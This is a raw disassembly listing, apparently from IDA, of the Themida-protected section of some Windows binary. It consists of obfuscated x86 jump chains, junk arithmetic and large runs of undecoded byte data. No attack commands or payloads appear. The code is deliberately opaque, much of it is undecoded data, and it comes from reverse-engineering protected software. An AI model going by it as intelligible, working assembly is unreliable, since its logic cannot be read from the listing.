; ---------------------------------------------------------------------------

loc_564716:				; CODE XREF: Themida_:00568C43j
		and	edx, 28A1572Fh
		add	edx, 0DF7FB9E0h
		jmp	loc_55D839
; ---------------------------------------------------------------------------
		db 83h
		dd 0C48104C4h, 4, 2474FF53h, 2434FF04h,	4C4815Bh, 8F000000h
		dd 0E95C2404h, 0FFFF4144h, 0EFE9C101h, 89000017h, 0DA095DEBh
		dd 62E2815Bh, 682FD809h, 7934h,	50242C89h, 0D35E5368h
		dd 0E956586Ch, 0FFFF9F1Bh, 0D8280E04h, 52D2E9h
		db 0
; ---------------------------------------------------------------------------

loc_564779:				; CODE XREF: Themida_:005597EBj
		mov	edx, ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_55D491
; ---------------------------------------------------------------------------
		dd 5005E2C1h, 0E22911B8h, 58C22932h, 4BBFE9h, 9BB5300h
		dd 56C4FA7h, 56230D18h,	175F1E05h, 0AC13E91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5647AE:				; CODE XREF: Themida_:0055D463j
		shl	edx, 1
		push	36D0h
		mov	[esp], ebx
		push	esp
		jmp	loc_55B0E8
; ---------------------------------------------------------------------------

loc_5647BE:				; CODE XREF: Themida_:0055A44Bj
		sub	edi, 133052D5h
		sub	edi, 44F26C63h
		jmp	loc_562964
; ---------------------------------------------------------------------------

loc_5647CF:				; CODE XREF: Themida_:0055E871j
		add	esi, edi
		pop	edi
		not	esi
		push	ecx
		mov	ecx, 8D74FE4h
		inc	ecx
		add	ecx, 74D3BE6h
		neg	ecx
		jmp	loc_55BD31
; ---------------------------------------------------------------------------

loc_5647E8:				; CODE XREF: Themida_:0056C17Cj
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edi
		jmp	loc_56C789
; ---------------------------------------------------------------------------
		dd 513FC581h, 0EB098C13h, 0F7EBD15Dh, 6E3C1D3h,	5B0EE9h
		dd 0B2E95D00h, 89FFFFB9h, 4B850E5h, 81000000h, 0AF6DCCC5h
		dd 81C50153h, 0AF6DCCEDh, 0C5815853h, 4, 5C242C87h, 2D94C681h
		dd 0D6016D04h, 2D94EE81h, 148B6D04h, 4C48124h, 68000000h
		dd 1456h, 68240489h, 2BB6h, 0E9242C89h,	438h
; ---------------------------------------------------------------------------

loc_564860:				; CODE XREF: Themida_:0055AB20j
		pop	eax
		push	456h
		jmp	loc_559D3E
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 11DCE9h,	4C18100h, 0E9000000h, 0FFFFEB50h
		dd 2D5BDA89h, 739E557Dh, 0ED4E8E05h, 1A62E919h,	89680000h
		dd 89000007h, 0EABD242Ch, 0C1740031h, 0ED8108E5h, 0F8169804h
		dd 0E95DEF29h, 4AD9h, 74FF5659h, 84E90424h, 8100001Eh
		dd 4C4h, 46E06800h, 0C890000h, 53B2B524h, 807FB652h, 0EE8096EEh
		dd 0AE17E901h, 0E95BFFFFh, 6784h
; ---------------------------------------------------------------------------

loc_5648E0:				; CODE XREF: Themida_:00561B89j
		sub	eax, esi
		jmp	loc_55B98E
; ---------------------------------------------------------------------------
		db 28h
		dd 5B6804D8h, 47F568h, 241C8900h, 0FFDFC7E9h, 348759FFh
		dd 3C895C24h, 1F70E924h, 0F7660000h, 0C495E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56490E:				; CODE XREF: Themida_:0055F76Dj
		mov	[edx+38h], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 3002206Dh
		push	4B69h
		jmp	loc_562663
; ---------------------------------------------------------------------------

loc_56492A:				; CODE XREF: Themida_:0055D227j
		add	eax, ebx
		sub	eax, 5F253F33h
		sub	eax, 286F44B3h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	64C0h
		mov	[esp], ebp
		jmp	loc_56124E
; ---------------------------------------------------------------------------
		db 59h,	68h, 1
		dd 89000059h, 0F682404h, 8900005Eh, 15682434h, 5E571653h
		dd 7970BA52h, 0C681025Eh, 35627E1h, 0E7E9D601h,	2D00004Bh
		dd 678603AEh, 0E92434FFh, 8BE6h
; ---------------------------------------------------------------------------

loc_564998:				; CODE XREF: Themida_:0056911Ej
		mov	ebx, 0DCE8D77h
		sub	ebp, ebx
		pop	ebx
		mov	eax, ebp
		pop	ebp
		add	edi, 62D37DAFh
		add	edi, eax
		sub	edi, 62D37DAFh
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		idiv	ecx
		push	66CEh
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		jmp	loc_568B17
; ---------------------------------------------------------------------------

loc_5649CA:				; CODE XREF: Themida_:00569F30j
		add	esp, 4
		push	4729h
		mov	[esp], ebp
		jmp	loc_56A21D
; ---------------------------------------------------------------------------

loc_5649DD:				; CODE XREF: Themida_:0055B839j
		push	ebp
		push	ebx
		mov	ebx, 42DB6C97h
		shr	ebx, 7
		sub	ebx, 665F44E7h
		and	ebx, 43F84880h
		shr	ebx, 7
		add	ebx, 66EC1218h
		mov	ebp, ebx
		jmp	loc_56A998
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9241489h, 0FFFFA255h
; ---------------------------------------------------------------------------

loc_564A0C:				; CODE XREF: Themida_:0056077Aj
		shl	edx, 2
		jmp	loc_56AD22
; ---------------------------------------------------------------------------
		dd 5851EB81h, 5C0113B3h, 0FF5B0424h, 0E95D2434h, 121Ch
		dd 53E18851h, 0FF910AE9h, 0FD095BFFh, 34F5815Fh, 0C16A7450h
		dd 5DE908E5h, 4600003Fh, 6532CE81h, 0DEF7185Bh,	7B89B951h
		dd 0CE3162F8h, 0BAF68159h, 0E97756C4h, 0FFFF5921h
; ---------------------------------------------------------------------------

loc_564A60:				; CODE XREF: Themida_:0055E2F3j
		add	esi, 95BDFB14h
		mov	edi, esi
		pop	esi
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55B732
; ---------------------------------------------------------------------------
aQsi_		db 'Qéi_',0
		align 10h
		dd 7B0FC681h, 0EFE92856h, 0C0FFFFDBh, 0B35304E2h, 0CFE380CCh
		dd 0F380D3F6h, 80DBF69Bh, 0DA3049EBh, 0FFC7B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564AA5:				; CODE XREF: Themida_:0055C929j
		add	bl, ah
		jmp	loc_56D920
; ---------------------------------------------------------------------------

loc_564AAC:				; CODE XREF: Themida_:0056D67Ej
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		jmp	loc_55D1BE
; ---------------------------------------------------------------------------

loc_564ABA:				; CODE XREF: Themida_:005613C5j
		push	dword ptr [esp]
		jmp	loc_5605B8
; ---------------------------------------------------------------------------

loc_564AC2:				; CODE XREF: Themida_:0055C19Bj
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55DC40
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FFE07FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564AD5:				; CODE XREF: Themida_:0056427Bj
		sub	ecx, 56961174h
		add	ecx, ebx
		add	ecx, 56961174h
		jmp	loc_5682DA
; ---------------------------------------------------------------------------
		dd 0E95BD931h, 0FFFF49D7h
; ---------------------------------------------------------------------------

loc_564AF0:				; CODE XREF: Themida_:005635ACj
		mov	[esp], ebx
		mov	ebx, 58C45527h
		add	[esp+4], ebx
		jmp	loc_55EA13
; ---------------------------------------------------------------------------

loc_564B01:				; CODE XREF: Themida_:00563D3Ej
		add	esi, 4529B6DCh
		mov	ebx, esi
		pop	esi
		push	0FC86A717h
		jmp	loc_56CAC7
; ---------------------------------------------------------------------------

loc_564B14:				; CODE XREF: Themida_:00560E15j
		xor	ecx, 272A5536h
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	400Ch
		mov	[esp], eax
		mov	eax, 58C45527h
		add	edx, 691F0246h
		jmp	loc_56B503
; ---------------------------------------------------------------------------
		dd 240C8B66h, 781768h, 767DE900h, 0BD550000h, 32742B14h
		dd 59FB68h, 77FFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564B5A:				; CODE XREF: Themida_:00562BBDj
		dec	ebx
		xor	ebx, 51CF69DEh
		and	ecx, ebx
		jmp	loc_55C104
; ---------------------------------------------------------------------------
		dd 0C69DE957h, 3C87FFFFh, 24248B24h, 0E99CC885h, 0FFFF3D10h
; ---------------------------------------------------------------------------

loc_564B7C:				; CODE XREF: Themida_:0055CF82j
		and	eax, 37372F5h
		and	eax, 1A282D87h
		xor	eax, 13E95D13h
		push	ebp
		mov	ebp, 2F023ACCh
		sub	ebp, 0E3981D04h
		add	eax, ebp
		pop	ebp
		xor	eax, 53A7B087h
		jmp	loc_56CE23
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FF682EE9h, 24048BFFh, 4C481h, 0F3800000h
		dd 4EC8181h, 0E9000000h, 16F4h,	148BF000h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 2474FF53h, 48F5B04h, 17BBE924h
		dd 81660000h, 8B2B6AEBh, 8953243Ch, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 6971E9h, 24248B00h,	9C240CFFh, 0FF3C7BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564C11:				; CODE XREF: Themida_:00565AF8j
		and	eax, 358105F6h
		shr	eax, 5
		add	eax, 383B3A03h
		mov	ebp, eax
		jmp	loc_55BCD6
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0FF495FE9h, 8BD609FFh, 0C4832414h, 0A5EE8104h, 810C723Ah
		dd 4ECh, 242C8900h, 0B7E15BDh, 4780E976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564C4E:				; CODE XREF: Themida_:0056AA6Cj
		pop	esp
		mov	[esp], cx
		push	edx
		jmp	loc_55CC3A
; ---------------------------------------------------------------------------

loc_564C59:				; CODE XREF: Themida_:005655D7j
		push	dword ptr [esp]
		jmp	loc_566F84
; ---------------------------------------------------------------------------

loc_564C61:				; CODE XREF: Themida_:00560009j
		dec	eax
		add	eax, 2E07B61Ch
		jmp	loc_5677DC
; ---------------------------------------------------------------------------
		dd 50C7E580h, 31E979B0h, 0B9FFFF76h, 2,	8159CF01h, 4ECh
		dd 243C8900h, 42474FFh,	0FF4876E9h, 0E9D3F7FFh,	0FFFFD099h
		dd 2BDh, 3025E900h, 0DCF60000h,	0C480DCF6h, 58E730D0h
		dd 2A0E9h, 24348900h, 6E9E689h,	5500000Fh, 65E1E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_564CC2:				; CODE XREF: Themida_:0056AD9Aj
		not	ebx
		add	ebx, 95289CACh
		add	eax, 2C7C2448h
		add	eax, ebx
		push	ecx
		mov	ecx, 2C7C2448h
		sub	eax, ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_566106
; ---------------------------------------------------------------------------
		db 51h
		dd 2B9h, 8BCF0100h, 0C483240Ch,	74FF5704h, 8F5F0424h, 665C2404h
		dd 6824048Bh, 1F1Fh, 89240C89h,	4C181E1h, 56000000h, 4EC81h
		dd 1C890000h, 2BB24h, 0DE890000h, 50241C8Bh, 405E089h
		dd 53000000h, 0FFC8C1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564D39:				; CODE XREF: Themida_:0055EEC4j
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_562E6C
; ---------------------------------------------------------------------------

loc_564D4C:				; CODE XREF: Themida_:0055D09Bj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	bl, 0BCh
		push	eax
		mov	al, 1Dh
		sub	esp, 4
		mov	[esp], eax
		mov	al, 40h
		mov	cl, 56h
		xor	cl, al
		pop	eax
		add	cl, al
		pop	eax
		xor	cl, bl
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_56A472
; ---------------------------------------------------------------------------
		dd 55E38953h, 1907BDBDh, 8EE58134h, 4D4C1248h, 87ED81h
		dd 0EB010410h, 5D2434FFh, 4C481h, 0C3830000h, 241C8704h
		dd 124248Bh, 24048BC3h,	0FF3FFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564DB5:				; CODE XREF: Themida_:0056773Ej
		mov	edi, 4
		jmp	loc_560C37
; ---------------------------------------------------------------------------

loc_564DBF:				; CODE XREF: Themida_:00558B32j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56035E
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 53h
		dd 4BBh, 9C28100h, 6860946Ah, 2410h, 83F2E9h
		db 0
; ---------------------------------------------------------------------------

loc_564DE5:				; CODE XREF: Themida_:005676B9j
		sub	eax, 19A5B8Ch
		add	eax, ebx
		jmp	loc_562321
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 83h
		dd 2C8904ECh, 4BD24h, 0EF810000h, 10E77920h, 0C781EF01h
		dd 10E77920h, 0AD27E95Dh, 1AB4FFFFh, 5866E630h,	6C2068h
		dd 240C8900h, 0CE0857B1h, 341CE9h
		db 0
; ---------------------------------------------------------------------------

loc_564E29:				; CODE XREF: Themida_:0056B130j
		add	ebp, ecx
		jmp	loc_56D4BF
; ---------------------------------------------------------------------------
		dd 814DDDF7h, 0DCB0EC5h, 0E9EF090Ah, 0FFFF6D53h, 48C380h
		dd 48EB80E3h, 0FFB2ECE9h, 1C5F09FFh, 3A36E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564E56:				; CODE XREF: Themida_:0056295Fj
		mov	ecx, esp
		jmp	loc_55CCFF
; ---------------------------------------------------------------------------
		db 68h,	24h, 0Dh
		dd 0C890000h, 0F862E924h, 8B66FFFFh, 83572404h,	248904ECh
		dd 24048124h, 4, 37B3E9h
		db 0
; ---------------------------------------------------------------------------

loc_564E81:				; CODE XREF: Themida_:005616C4j
		add	edi, 2BFA1423h
		add	edi, ebx
		jmp	loc_55AB52
; ---------------------------------------------------------------------------

loc_564E8E:				; CODE XREF: Themida_:00560377j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55CD34
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0CAh
		dd 0E95AEF44h, 2C5h, 6866h, 8A243428h, 89532434h, 0BE5655E3h
		dd 11374C88h, 815EF589h, 0E3754DF5h, 0FCD8158h,	817F7055h
		dd 0F47DCBEDh, 82D3E97Fh, 0B5510000h, 8BE8002Dh, 0C481240Ch
		dd 4, 0F8288304h, 2D2C832Ch, 5B2434FFh,	2804C483h, 53AA04D8h
		dd 88DDB252h, 0B6A2E9D3h, 148BFFFFh, 0BA0BE924h, 5356FFFFh
		dd 8077EBBh, 40F4BE12h,	0DE012FFBh, 83241C8Bh, 78E904C4h
		dd 8100007Bh, 4ECh, 24148900h, 7647B7BAh, 0E9D2F762h, 8B36h
; ---------------------------------------------------------------------------

loc_564F38:				; CODE XREF: Themida_:00567250j
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56313F
; ---------------------------------------------------------------------------
		db 80h,	0CFh, 38h
		dd 3047C780h, 0C3305BF8h, 0FFC0B60Fh, 8DE98734h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564F67:				; CODE XREF: Themida_:0055BFAFj
		pop	edx
		xor	eax, ebp
		pop	ebp
		sub	[edi+24h], eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_564F81:				; CODE XREF: Themida_:0056950Cj
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55F778
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C8700h, 5F5B2D5Ch, 3DE91A46h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_564FBB:				; CODE XREF: Themida_:00566291j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_569C4F
; ---------------------------------------------------------------------------
		dd 0EC815550h, 4, 57241489h, 4652EABFh,	4E7C156h, 4DE6C781h
		dd 0FA89CF1Ah, 1CF2815Fh, 4A03A96Dh, 0B850E2D1h, 66D1049h
		dd 0FE0F5805h, 0F2650539h, 0C201F296h, 0C2814258h, 74963546h
		dd 618EE9h, 4C78100h, 83000000h, 3C8704C7h, 3C335C24h
		dd 0BAAFE924h, 0C481FFFFh, 4, 5C24048Fh, 0FF426FE9h, 242C8BFFh
		dd 4E4268h, 240C8900h, 0C181E189h, 4, 0FF4BE1E9h, 43ACBDFFh
		dd 0E5817F61h, 728D581Bh, 1205E9h, 4EC8300h, 55243C89h
		dd 347FE68h, 242C8B6Ah,	0C104C483h, 0EC8302EDh,	24148904h
		dd 4FE8E9h, 0C2015E00h,	8D24E9h, 81C10100h, 0E51D38E9h
		dd 2434FF31h, 3279E9h, 8BF78800h, 0C4812414h, 4, 0C7FED7F6h
		dd 0FFA947E9h, 515A54FFh, 0FF7B30E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5650B1:				; CODE XREF: Themida_:0056BE53j
		xor	eax, ebx
		jmp	loc_560A1D
; ---------------------------------------------------------------------------
		dd 582434FFh, 0E904C483h, 1B39h, 0F9E9515Ah
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5650CB:				; CODE XREF: Themida_:00566AD6j
		push	ebp
		push	eax
		mov	eax, 2000000h
		push	2407h
		mov	[esp], ebx
		push	eax
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5637CF
; ---------------------------------------------------------------------------

loc_5650EF:				; CODE XREF: Themida_:0056A3CDj
		xor	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_55912E
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 0C483240Ch, 44ED8004h, 0C580DD28h, 0BE95B44h, 0FFFFFFBAh
		dd 58042474h, 8B24048Fh, 48F2424h, 58E95C24h, 81000065h
		dd 4ECh, 24248900h, 4240483h, 4C7815Fh,	56000000h, 550CE9h
		dd 5ED96800h, 535A297Fh, 13A2E9h, 8BE90100h, 0C483242Ch
		dd 4BA5204h, 1000000h, 0FF515AD1h, 59042474h, 5325E9h
		dd 2434FF00h, 0E9243C8Bh, 0FFFFF5AFh, 7DE32DADh, 0BA5213F5h
		dd 544D21A9h, 4445C281h, 0FA3128DBh, 0FA31D731h, 0FF7568E9h
		dd 4B3BBFFh, 0F3876A8Bh, 0F387D6F7h, 8103E3C1h,	508EC1C3h
		dd 70A4E942h, 0E1880000h, 6987E958h, 0EE000000h, 8034B450h
		dd 0C4FEC3E4h, 0F6FAF480h, 80DCF6D4h, 0F6501EC4h, 0E9012454h
		dd 0FFFF7E8Bh, 1904CF81h, 0C7816DE4h, 984B09C1h, 0FF662DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5651E5:				; CODE XREF: Themida_:00568C39j
		push	edi
		mov	edi, esp
		jmp	loc_56D71D
; ---------------------------------------------------------------------------

loc_5651ED:				; CODE XREF: Themida_:0055C47Fj
		push	esp
		pop	ecx
		jmp	loc_564683
; ---------------------------------------------------------------------------
		dd 5FBB68h, 24348900h, 612B93BEh, 0A7BD552Ch, 8177EA04h
		dd 8D0037EDh, 81DDF73Ah, 0FC0ACFE5h, 793EE921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56521A:				; CODE XREF: Themida_:005642BDj
		sub	ebp, 0B2AC14ADh
		add	edi, ebp
		pop	ebp
		push	edi
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0BDD2AF08h
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 20325DE8h
		and	ecx, 770927F9h
		shl	ecx, 4
		or	ecx, 7C0249D7h
		xor	ecx, 7C025FD3h
		sub	esi, 31557321h
		add	esi, ecx
		jmp	loc_567255
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 97h
		dd 14CC209h, 2C8B58C7h,	4EC8124h, 89000000h, 5954240Ch
		dd 4C181h, 0BE560000h, 4, 48E9F101h, 5FFFF63h, 0C48F9581h
		dd 3CE9C729h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56529B:				; CODE XREF: Themida_:0055DF45j
		sub	edx, ecx
		pop	ecx
		jmp	loc_55B4AB
; ---------------------------------------------------------------------------
		db 5Eh
		dd 7805C381h, 0EB8105E4h, 1FCC2519h, 0C381C301h, 1FCC2519h
		dd 4EC81h, 34890000h, 0B5E95524h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5652C7:				; CODE XREF: Themida_:0056BAA7j
		pop	ebp
		shl	eax, cl
		push	917h
		jmp	loc_55F408
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 14890000h, 1D0DE924h, 81590000h
		dd 954530E2h, 4B81E950h, 0BB530000h, 235E5E7Fh,	0C107EBC1h
		dd 0D3F702E3h, 8105EBC1h, 0D7C86FEBh, 8BD889C2h, 0C4E9241Ch
		dd 5CFFFF3Bh, 42B3E9h, 7E026800h, 4890000h, 6F37E924h
		dd 0E959FFFFh, 414Ah, 240C8B66h, 30C368h, 243C8900h, 0FFFDEEE9h
		dd 22CF68FFh, 1C890000h, 0CECBB24h, 42E96B75h, 81FFFFF9h
		dd 0F84D14C6h, 24048B22h, 4C481h, 0EC810000h, 4, 68241C89h
		dd 2, 0FF56C1E9h, 8BDE29FFh, 0DBE9241Ch, 64000077h, 9E932FFh
		dd 0BDFFFF35h, 357E5FF3h, 3DF5814Dh, 4D43F332h,	46F5814Dh
		dd 81E4EBB7h, 0BD09B7C1h, 87E0E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5653A2:				; CODE XREF: Themida_:00568CE8j
		add	esp, 4
		shr	ebx, 6
		shr	ebx, 1
		add	ebx, 56D844C9h
		dec	ebx
		sub	ebx, 6384A8Eh
		and	edx, ebx
		pop	ebx
		shl	edx, 6
		dec	edx
		sub	edx, 51A7255Fh
		sub	edx, 8A3AD335h
		add	edi, edx
		pop	edx
		and	edi, 18DC0E1Ah
		jmp	loc_55B41D
; ---------------------------------------------------------------------------
aBI5_iZbaIIes	db 'êi5-.‰ÕZíÊI¸iEé',0Dh,7,0
		align 10h
		dd 1C28E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5653F6:				; CODE XREF: Themida_:0055A576j
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 4BC332A3h
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		jmp	loc_55F1E1
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF240489h, 58042474h, 0FF42FEE9h, 21F6BAFFh, 0CBE90362h
		db 9Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56542F:				; CODE XREF: Themida_:0055CF6Cj
		sub	bl, 17h
		add	bl, 0C6h
		jmp	loc_56BD32
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 835DE9D7h,	75680000h, 89000022h, 0E6892434h
		dd 80C1E9h, 815E5400h, 4C6h, 4C68300h, 5C243487h, 5C24048Fh
		dd 0C102EDC1h, 0ED8105E5h, 0FFFFFFFFh, 0FBDFF581h, 8950E141h
		dd 0FE950E8h, 89FFFFB0h, 55E92414h, 0B900004Ah,	195237F6h
		dd 0E906E9C1h, 0FFFF8B39h
; ---------------------------------------------------------------------------

loc_565498:				; CODE XREF: Themida_:00568841j
		push	eax
		mov	eax, 22813D2Eh
		add	eax, 0DD7EC2D6h
		sub	ebp, 77460B9Ch
		add	ebp, eax
		push	5790h
		mov	[esp], ebx
		jmp	loc_55C43A
; ---------------------------------------------------------------------------
		dd 4E0E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5654BE:				; CODE XREF: Themida_:00569110j
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		pop	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_56BDAE
; ---------------------------------------------------------------------------
a3Sxv		db '3<$éxV',0
		dd 0EA814A00h, 1DBE667Fh, 0CC9EC281h, 81525E90h, 1FA82404h
		dd 2D5820FBh, 20FB1FA8h, 2E41055Ah, 0BA2D5DB1h,	29647869h
		dd 0BA5258C1h, 407B65BBh, 1EA81h, 0CA870000h, 81CA8749h
		dd 9D3552F2h, 449FE95Ah, 487FFFFh, 0A656E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56552E:				; CODE XREF: Themida_:0055FDE3j
		mov	edi, 4F6D1DAFh
		shr	edi, 8
		or	edi, 54F64666h
		sub	edi, 0B251721Ch
		add	ecx, 4123014Bh
		sub	ecx, edi
		sub	ecx, 4123014Bh
		pop	edi
		add	ebp, ecx
		jmp	loc_56A190
; ---------------------------------------------------------------------------

loc_565558:				; CODE XREF: Themida_:0056B79Ej
		pop	esp
		mov	[esp], ebx
		add	dword ptr [esp], 41E31044h
		jmp	loc_559D5A
; ---------------------------------------------------------------------------
		dd 237568h, 242C8900h, 4C744368h, 242C8B10h, 5704C483h
		dd 1BFh, 8BFD0100h, 0B9E9243Ch,	1FFFFDCh, 0EE015AD5h, 4331E9h
		dd 41F28000h, 8B5AD028h, 0C483240Ch, 52686604h,	0C896644h
		dd 93B5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5655AE:				; CODE XREF: Themida_:0055CBA5j
		xor	dword ptr [esp], 40670EA6h
		pop	ebx
		jmp	loc_56334C
; ---------------------------------------------------------------------------

loc_5655BB:				; CODE XREF: Themida_:00562B4Fj
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	800h
		pop	ebp
		and	eax, ebp
		jmp	loc_564C59
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 52BA5200h, 2926964Fh, 0E9525AD0h, 0FFFFFE31h
		dd 0EAE0566h, 0E9C62966h, 29DBh
; ---------------------------------------------------------------------------

loc_565600:				; CODE XREF: Themida_:00559F4Cj
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	edi, ecx
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_562951
; ---------------------------------------------------------------------------
		dd 0C15AD589h, 0CD8103EDh, 58B56026h, 7C31C581h, 0D5F77817h
		dd 0C1D5C581h, 0EE8909B1h, 0BB534E5Dh, 59516DC4h, 624BEB81h
		dd 0DE29187Ch, 2AEE815Bh, 4E7EDA69h, 0FFA5EBE9h, 895159FFh
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 3AC4685Ch, 34890000h
		dd 56BE24h, 0F209603Fh,	8124348Bh, 4C4h, 67BE5600h, 0E96BD10Fh
		dd 0FFFFA090h, 7CFCEB81h, 0EB814985h, 5F27012h,	0D915C381h
		dd 0DF01BB89h, 56CF015Bh, 58766FBEh, 0C92AE929h, 3489FFFFh
		dd 815E5424h, 4C6h, 2C68300h, 2474FF56h, 24348B04h, 5222E9h
		dd 4FBD5500h, 29419109h, 0EF815DEFh, 45B31529h,	4DEEE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5656EA:				; CODE XREF: Themida_:0055E25Dj
		add	esp, 4
		sub	ebp, 1
		xor	ebp, 183D6D27h
		push	edi
		jmp	loc_565F5B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8102E5h, 4, 0BE243489h, 421D2D67h, 0F681DEF7h, 66D530A5h
		dd 0E901C683h, 0FFFF8339h, 33240431h, 895C2404h, 4BE2434h
		dd 1000000h, 0D5685EF2h, 8900002Fh, 2BE2434h, 81000000h
		dd 945BEBC2h, 59EA8114h, 0E93FA81Eh, 0FFFFA817h
; ---------------------------------------------------------------------------

loc_565750:				; CODE XREF: Themida_:0056A427j
		mov	[esp], ebx
		jmp	loc_562DB2
; ---------------------------------------------------------------------------

loc_565758:				; CODE XREF: Themida_:0055AB2Bj
		sub	al, 0B4h
		sub	al, 1
		mov	dh, al
		mov	eax, [esp]
		jmp	loc_55BF2D
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4, 5C243C87h, 57240C89h, 0CB48CDBFh,	5FF9896Bh, 0FF5342E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565781:				; CODE XREF: Themida_:005596F0j
		mov	ebp, [esp]
		push	ebp
		jmp	loc_56BC01
; ---------------------------------------------------------------------------
		dw 959h
		dd 0E3815EF3h, 2E091537h, 89BD554Bh, 31C2B906h,	0D9295DEBh
		dd 59C8015Bh, 77576852h, 8F540000h, 9A682404h, 89000065h
		dd 4BB241Ch, 1000000h, 5B04245Ch, 4C2815Ah, 81000000h
		dd 4EAh, 24148700h, 8378E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5657D6:				; CODE XREF: Themida_:005588DAj
		pop	esp
